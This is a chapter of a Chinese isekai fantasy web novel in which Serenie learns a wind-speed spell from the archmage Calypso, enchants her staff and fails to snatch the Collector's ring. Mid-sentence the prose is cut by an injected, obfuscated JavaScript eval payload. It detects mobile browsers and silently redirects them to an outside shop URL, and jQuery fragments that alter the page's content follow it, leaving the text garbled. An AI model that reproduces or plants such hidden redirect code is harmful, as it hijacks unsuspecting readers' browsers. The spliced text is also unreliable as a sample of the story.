法师塔还是一如既往得乱,这回卡吕普索终于懂得主人家应有的礼仪,没再对塞伦涅使用奇怪的法术,还为她倒上温热茶水。
“这股气息……没错,它就是我始终追寻之物。”
卡吕普索捧着底栖之主的腕足,将它放在摇曳烛光下,沉醉地深吸一口,轻抚吸盘,眼中泛起深邃漩涡。
好像抱着的并非魔物残骸,而是襁褓中的初生婴儿。
“这样一来,我便能触及那遥远的伟大知识了。”
塞伦涅抿着热茶,安静注视着大法师,眸中意味深沉。
待杯中茶水凉透,她忍不住轻咳一声。
“抱歉,我太过投入,美丽的事物总是这样让人沉醉。”
卡吕普索回神,面上狂热未褪。她珍重地将腕足搁在附魔台上,朝塞伦涅微笑:“我得承认,孩子,你不像其他学院派那样令人厌恶。”
“我并非来自莱文魔法学院,女士。”
卡吕普索显得有些心不在焉。
“是的,是的,我不会探究你是如何得到它的。为了感谢你对伟大知识作出的贡献,我将破格收你这位学院派为徒。”
“说了我不是……算了,我们可以开始了吗?”
卡吕普索拥有许多法术卷轴,作为初始法术的幻影光束用着很卡手,她迫切想要习得更强的法术。
“别急,我得先鉴定你的天赋,好知道该教授你什么法术。”卡吕普索打开小门。
内间比外面要小得多,地上巨大法阵几乎占据整间房间。
“站在法阵中央,当心些,别踩乱了那些符文。”她点起位于法阵六角的蜡烛。
法阵中央,塞伦涅闭眼,随咒文的念诵,脑海中似乎有什么东西如蚕丝般溢散,连上卡吕普索的意识。良久,她听见大法师的一声叹息。
“好了,睁眼吧。”
塞伦涅咽了口唾沫,在昏暗中悄悄打量对方:“如何?”
“我现在终于相信你并非来自魔法学院了,凭你的天赋,恐怕在门外就会被拦下。”
塞伦涅:“……”
卡吕普索逐个吹熄蜡烛,示意她离开法阵:“你今年多大了?”
“十八。”
“十八?就算是年龄只有个位数的法师,也该掌握多种法术了,而你竟然只会两门法术。告诉我,那两门法术是谁授予你的?”
塞伦涅哪知道原主的法术是从哪学来的,于是胡乱扯了个谎:“儿时村镇上的一位……老法师。”
“乡野巫师,班门弄斧。”大法师轻哼一声,“放心,无论如何,既然我作出承诺,就会好好传授知识的。”
回到外间,她搬来一只布满灰尘的箱子,然后又回到附魔台前:“今日你先学习一种法术吧。”
打开箱子,氤氲的粉尘惹得塞伦涅打了个喷嚏,里面卷轴都是卡吕普索多年来苦心钻研的结晶,她的目光落到一张绘制湛蓝光柱的卷轴上。
「卡吕普索光柱
大法师卡吕普索自创的法术,蓄力五秒可释放一道无视遮挡且极具攻击性的巨大光柱,湮灭眼前所有敌人。」
“嘿,放下那张卷轴。”
好在卡吕普索尽到了一位老师应有的义务,从腕足中抽离出来,语气严肃:“如今的你难以承受那种法术,使用时不等打倒魔物,自身就会瞬间灰飞烟灭。你现在只能学习箱子右侧的卷轴,它们更为温和一些。”
塞伦涅只好放下她朝思暮想的强劲法术,转头翻找右侧卷轴。
透视眼,宝箱怪拟态,菲洛梅娜之吻……都是些在战斗时派不上用场,且在日常生活也派不上用场的鸡肋法术。
若非穿越到这个世界,她都不知道卡吕普索还私藏了这么多垃圾。
手套都被灰尘染黑,塞伦涅终于在箱底找到一张勉强能用的卷轴。
「逐风术
意为追逐风的法术,在五分钟内提高使用者的速度。」
这倒是不错,战场上速度的提高意味着先发制人的机会,倘若在猎杀底栖之主时就拥有这个法术,她就不用在对方胃里遭罪了。就算有时打不过,用它跑路也是好的。
“嗯,很有眼光,这是你现今能习得的最实用的法术了。”
卡吕普索走来,让塞伦涅席地而坐。掌中浮现一枚树叶,她以法杖轻点叶片,念出咒文后抬手一挥。
树叶奇迹般无视物理法则,卷出破空声响,如同鹰隼般于塔内盘旋。
“这就是逐风之术。”她截住树叶,让它重新落回掌心,“当然,作为初学者,你并不能让它发挥如此显著的效果。现在低声念出我所说的咒文,待你能熟悉念诵,参透它的含义,也就彻底掌握了逐风术。”
塞伦涅依她所言,闭眼,低声开口。
卡吕普索念咒时是如此轻松,可那道并不繁杂的咒文到了她嘴里,却像是桎梏住了舌尖,让她说得磕磕绊绊,难以构成整段咒文。
“静心,想象之前那一幕。”大法师出言提醒。
深呼口气,塞伦涅告诫自己不要急躁,回忆从前做过的冥想,心绪归于平静。
她想象那枚盘旋的叶片,想象它刺破空气的声响。而后她的思想远离法师塔,飘荡着来到遥远的彼岸,她想象着使用逐风术后,身体在旷野中轻盈急走,世间万物都落在后头。
念出的咒语逐渐完整。
“很好。”
在卡吕普索的指点下,塞伦涅终于彻底掌握逐风术。她慢慢睁眼,见对方笑着看她:“还算有点悟性。”
她起身揉了揉脖子:“我感觉好极了,甚至有余裕再学习一门法术。”
“不要操之过急,身体有时会欺骗你。”卡吕普索摇头,“下周再来这里找我。”
她说得没错,待那股充实感褪去,疲倦很快席卷全身,让塞伦涅只想好好睡上一觉。
“对了,女士,我想借用您的附魔台给法杖附魔。”
卡吕普索谨慎地捧起腕足,退到一边:“将法杖放在台面上就好,附魔台上镌刻了特殊的法阵,不用额外操作。”
塞伦涅依言将瘟疫医生手杖放好,法阵边缘的符文依次泛起白光。
待包裹手杖的光晕褪去,手杖依然还是那个手杖,她却感应到当中的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17851135|208914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
质变。
瘟疫医生手杖经由硬木打造,不像粗制法杖那般遍布毛刺,塞伦涅爱不释手地摩挲片刻,松开被攥得温热的地方,打量鸟头镶嵌的辉晶,浅蓝光辉映在眼底。
经过附魔,那纯粹的蓝色更为耀眼了。
终于。
她终于可以使用新法杖了。
正想向卡吕普索道别,对方却像陷进腕足之中,垂着脑袋低声呓语,不知在想些什么。塞伦涅没有打扰,悄悄沿着铁梯下去。
离开法师塔时,雨落了下来。
她没忘记今日委托,在树林里采集大量木材和石料,直到雨势渐大,马车与旅行包再也装不下了。
地平线在烟雾缭绕中逐渐远去,薄暮急雨中,马车驶过湿润的旷野。
若非塞伦涅对马匹使用逐风术,让它的蹄子在道路上狂奔,恐怕车轮会陷入泥浆。
回到橡木镇时已经很晚,她只好暂时搁置购买护甲的想法。
今晚说什么也得从收藏家手里薅一枚戒指,铁定能卖不少钱。
塞伦涅摘下手套,保证手指的灵活性,收藏家扔下奖励就会离开,她得抓住那个时机。
当那只手出现在委托板的刹那,她猛地上前,盯住宝石最大的那枚戒指。
收藏家似乎被这股气势吓到了,攥着一摞铜币愣在原地。
这恰好给了塞伦涅机会,她朝着戒指猛地一扯。
什么都没扯下来。
不如说,她压根都没能挨到那只手。
“虚影?”
收藏家也反应过来她想干什么,支起食指左右摇晃,幅度有些玩味。
什么意思……嘲讽她?
不等塞伦涅再做尝试,那只手撂下铜币,转瞬便没了影。
“……”
好在她有先见之明,将旅行包敞开放在委托板下面,不然又得在地板缝隙里找钱了。
内心深感遗憾,不过同时塞伦涅也意识到了一件事。
受收藏家残存神性支撑的,并非只有给予奖励这个单纯的动作,祂还能与塞伦涅互动,甚至知道她内心的想法。
就是不知道祂的神性保留了多少。
塞伦涅始终在猜测她穿越的原因,除却现实世界的因素,那就只可能是游戏世界的某人或某物导致的。
她在这个世界的身体,只不过是个再普通不过的人类,多有局限,但作为神祇的收藏家指定知道得会更多。
下回可以尝试与祂对话,得到线索后或许能回到原本的世界呢?
不过……
她已在现实里身亡,就算回去,很有可能回到的是尸体,或者骨灰盒里,相当于她主动放弃了这次重生。
夜深人静之时,与家人间的回忆不受控制地浮现脑海,塞伦涅攥紧手掌。
不论如何,她还是想要尝试。
就算失败了,也迟早要弄明白这件事,以她的性格,难以忍受遭人摆布的被动境地。
今晚就先睡……
“呃啊——”
塞伦涅望向房门。
她好像听见了玫洛的惊叫?